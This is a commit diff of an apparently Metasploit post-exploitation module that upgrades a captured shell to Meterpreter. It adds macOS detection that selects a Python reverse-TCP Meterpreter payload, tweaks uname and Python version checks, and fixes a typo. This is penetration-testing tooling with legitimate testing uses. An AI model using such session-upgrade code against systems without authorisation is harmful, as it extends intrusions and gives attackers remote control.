@@ -93,15 +93,19 @@ def run
93
93
vprint_status ( "Platform: Solaris" )
94
94
else
95
95
# Find the best fit, be specific with uname to avoid matching hostname or something else
96
- target_info = cmd_exec ( 'uname -mo ' )
96
+ target_info = cmd_exec ( 'uname -ms ' )
97
97
if target_info =~ /linux/i && target_info =~ /86/
98
98
# Handle linux shells that were identified as 'unix'
99
99
platform = 'linux'
100
100
payload_name = 'linux/x86/meterpreter/reverse_tcp'
101
101
lplat = [ Msf ::Platform ::Linux ]
102
102
larch = [ ARCH_X86 ]
103
103
vprint_status ( "Platform: Linux" )
104
- elsif cmd_exec ( 'python -V' ) =~ /Python (2|3)\. (\d )/
104
+ elsif target_info =~ /darwin/i
105
+ platform = 'python'
106
+ payload_name = 'python/meterpreter/reverse_tcp'
107
+ vprint_status ( "Platform: OS X" )
108
+ elsif cmd_exec ( 'python -V 2>&1' ) =~ /Python (2|3)\. (\d )/
105
109
# Generic fallback for OSX, Solaris, Linux/ARM
106
110
platform = 'python'
107
111
payload_name = 'python/meterpreter/reverse_tcp'
@@ -112,7 +116,7 @@ def run
112
116
vprint_status ( "Upgrade payload: #{ payload_name } " )
113
117
114
118
if platform . blank?
115
- print_error ( "Shells on the the target platform, #{ session . platform } , cannot be upgraded to Meterpreter at this time." )
119
+ print_error ( "Shells on the target platform, #{ session . platform } , cannot be upgraded to Meterpreter at this time." )
116
120
return nil
117
121
end
118
122
0 commit comments